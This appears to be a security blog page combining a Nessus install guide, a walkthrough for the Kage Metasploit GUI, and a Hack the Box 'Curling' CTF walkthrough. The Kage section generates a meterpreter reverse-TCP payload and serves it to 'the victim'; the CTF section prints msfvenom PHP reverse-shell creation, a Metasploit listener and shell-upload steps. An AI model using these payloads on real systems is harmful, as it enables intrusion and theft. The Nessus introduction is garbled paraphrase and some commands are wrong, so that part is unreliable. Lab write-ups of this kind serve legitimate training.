Beginner’s Guide to Nessus

In this article, we will learn about Nessus which is a network vulnerability scanner. There are various network vulnerability scanners but Nessus is one of the best because of its most successful GUI. Therefore, it is widely used in multiple organizations. The tools were developed by Renuad Deraison in the year 1998.

Table of Content

·         Introduction to Nessus

·         Linux Installation

·         Running Vulnerability Scans

·         Windows Installation

Introduction to Nessus

Nessus is an open-source network vulnerability scanner that utilizes the Common Vulnerabilities and Exposures engineering for simple cross-connecting between agreeable security instruments. Nessus utilizes the Nessus Attack Scripting Language (NASL), a basic language that portrays singular dangers and potential assaults. Nessus has a measured design comprising of incorporated servers that direct examining, and remote customers that take into account chairman communication. Executives can incorporate NASL portrayals of every presumed powerlessness to create altered outputs. Noteworthy abilities of Nessus include:

·         Compatible with all OS

·         Scans for vulnerabilities in the local and remote host

·         Informs about missing security in detail

·         Applies various attacks in order to pinpoint a vulnerability

·         It can schedule security audits

·         Runs security tests

Linux Installation

Let’s start the installation on Linux. Here we are installing Nessus on an Ubuntu 18 Machine. Firstly, we will invoke a root shell using sudo bash command. We are going to install Nessus using a deb file that can be downloaded from the Nessus Official Website. We traverse to the directory where we have downloaded the deb file. We will change permission to execute the file and then we will install the Nessus.deb file using the dpkg command.

chmod 777 Nessus-8.2.3-ubuntu910_amd64.deb

dpkg -I Nessus*.deb

Afterward, as shown in the image using the following command to run Nessus :

/etc/init.d/nessusd start

This command will open our default browser, which in our case is Mozilla Firefox. And we will be greeted with a Warning about Certificate Installation. To use Nessus, we will have to get through this warning. First click on Advanced followed by Accept the Risk and Continue.

Then it will ask you to create an account, as shown in the image, give the details for it.

Further, it will ask you for an activation code, provide that just as its shown in the image below :

Once all the formalities are done, Nessus will open and will allow you to perform any scan you desire as shown in the image below :

Running Vulnerability Scans

When you click on create new scans, there will be multiple scans that you can see in the following image :

And then in the policies tab, you can generate different policies on which the scans are based.

There are various policies templates too, as shown in the image below :

In order to start a new scan, go to scan templates and select a new scan and then give it a name and target IP as shown in the following image :

Once the scan is done, it will show you the result; this result will clearly indicate the risk that a vulnerability poses which goes from low to critical.

When you click on the vulnerability, for instance here we clicked on the first one which is a critical threat, it will give you details about vulnerability such as its severity, whether its RPC or not, its version, etc. as shown in the image below :

Now, we clicked on the different one which is a high-level threat, it will give you details about vulnerability such as its severity, whether its RPC or not, its version, etc. as shown in the image below :

Windows Installation

Download Nessus for windows from Nessus Official Website. And open it similarly in the browser to set it up.

Just like in Linux, we will be greeted with a Warning about Certificate Installation. To use Nessus, we will have to get through this warning. First click on Advanced followed by Accept the Risk and Continue.

Then it will ask you to create an account, as shown in the image, give the details for it.

Further, it will ask you for an activation code, provide that just as its shown in the image below :

And then you can start your scans in a similar way just as shown above in Linux.

Kage: Graphical User Interface for Metasploit

Kage is a GUI for Metasploit RCP servers. It is a good tool for beginners to understand the working of Metasploit as it generates payload and lets you interact with sessions. As this tool is on the process of developing, till now it only supports windows/meterpreter and android/meterpreter.  For it to work, you should have Metasploit installed in your system. The only dependency it requires is npm.

Installations

Use the following git command to install the kage software :

git clone https://github.com/WayzDev/Kage.git

Go inside the kage folder and install nmp with the following command :

apt-get install npm

Further use the following command :

npm install

And then run it with the following command :

npm run dev

Once all the perquisites are done, the kage will run. Click on the start server button as shown in the image below :

The server will start running. Once all the process are done, click on close button as shown in the image below :

After click on the close button, it will automatically take all the details, and then you can click on the connect button to connect as shown in the image below :

Once you are connected, it will show you the following windows :

Under the heading payload generator, you can give all the details such as file name (kage.exe), payload (windows/meterpreter/reverse_tcp), lhost (192.168.1.9), lport (5252) and then click on generate.

After clicking on generate, it will create a new folder named kage (with small k), here, run python server so that you can share your malware with the victim. To run the python server, type :

python -m SimplpeHTTPServer 80

Once the file is shared and executed, it will show the following details under the jobs heading :

And when you go the sessions window through the dashboard, you will find a new session that has been created. Click on interact button to access the session.

After clicking on interact button, the following window will open. Here, first tab will show you all the information about the system.

The second tab will show you all the processes that are running on the victim’s PC.

And the third tab will give you all the information about its network. Here, you can use three commands through buttons provided and i.e. ifconfig, netstat, route, as shown in the image below :

Hack the Box Curling: Walkthrough

Today we are going to solve another CTF challenge “Curling”. It is a retired vulnerable lab presented by Hack the Box for helping pentesters to perform online penetration testing according to your experience level; they have a collection of vulnerable labs as challenges, from beginners to Expert level.

Level: Intermediate

Task: To find user.txt and root.txt file

Note: Since these labs are online available therefore they have a static IP. The IP of Curling is 10.10.10.150

Penetrating Methodology

• Network scanning (Nmap)
• Surfing the IP address on the browser
• Finding Secret View Page Source
• Decoding Secret
• Enumerating Joomla!
• Creating Payload using msfvenom
• Getting Meterpreter Session
• Enumerate and Extract password files
• Getting SSH Session
• Grab User Flag
• Enumerate for Root Flag
• Getting the root flag

Walkthrough
Let’s start off with our basic Nmap command to find out the open ports and services.
nmap -sV -sC -T4 -p- 10.10.10.150

The Nmap scan shows 2 open ports: 22(SSH), 80(HTTP)
As port 80 is running HTTP service, we open the IP address in the web browser.

Here, we found two usernames Floris & Super User. They might come in handy later on. Let’s view the Page source of the webpage.

Let’s open the secret.txt in the browser.  It displayed a base64 encoded string.

Time to decode this base64 encoded string. So, on decoding it we got Curling2018! This can be used as a credential.

echo “Q3VybGluZzIwMTgh” | base64 -d

Due to previous experience with Joomla! We already knew about its administrator login page. Not wasting our time we directly opened /administrator directory in the browser along with the credentials.

Username- Floris

Password- Curling2018!

We have successfully logged in.

We have created a PHP shell payload using msfvenom.
msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.14.120 lport=443 -f raw

On the other hand, we have setup listening using Metasploit-framework.
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost tun0
msf exploit(multi/handler) > set lport 443
msf exploit(multi/handler) > run

Let’s try to upload php reverse shell script which we have created using msfvenom. Let’s first navigate to /template/protostar/ on the webpage.

Finally, we have got the meterpreter.

We got the reverse shell, but it is not a proper shell. We will spawn a tty shell using python.

shell

python3 -c “import pty;pty.spawn(‘/bin/bash’)”

After enumerating through directories, we found a useful file password_backup. Let’s check its contents. The contents of this file look like hexdump.
ls -al
cat password_backup

Let’s use an xxd tool which is used to create gex dump of the given file or standard input. On decompressing the file we saw the author of the machine has recursively compressed the password_backup file. We need to recursively decompress it.
xxd -r password_backup > password
file password
mv password password.bz2
bzip2 -d password.bz2
ls
file password
mv password password.gz
gzip -d password.gz
ls
file password
mv password password.bz2
bzip2 -d password bz2
ls
mv password password.tar
tar xvf password.tar
cat password.txt

The content found in password.txt might be the password to login into SSH. Let’s find out if our intuition is true or not.

We have successfully logged into SSH using the password found in password.txt.

ssh floris@10.10.10.150

On exploring, we found User.txt and read its contents.

ls

cat user.txt

On further enumerating, we found two files input & report in the admin-area folder. Let’s read the contents of both the files.

cat input

wc - l report

After sometime of thinking, we thought of changing the content of the input file using echo.

ls -al

echo file:///root/root.txt > input

It took us time to think about it. We did this because we knew our final flag is inside /root/root/txt. And also came to know the output of the input file will be saved in the report file.

Now after some time when we opened the report file. We found our Final Flag and read its contents.

wc - c report

cat report

Author: Ashray Gupta is a Security Researcher and Technical Writer at Hacking Articles. Contributing Years in the field of security as a Penetration Tester and Forensic Computer Analyst. Contact Here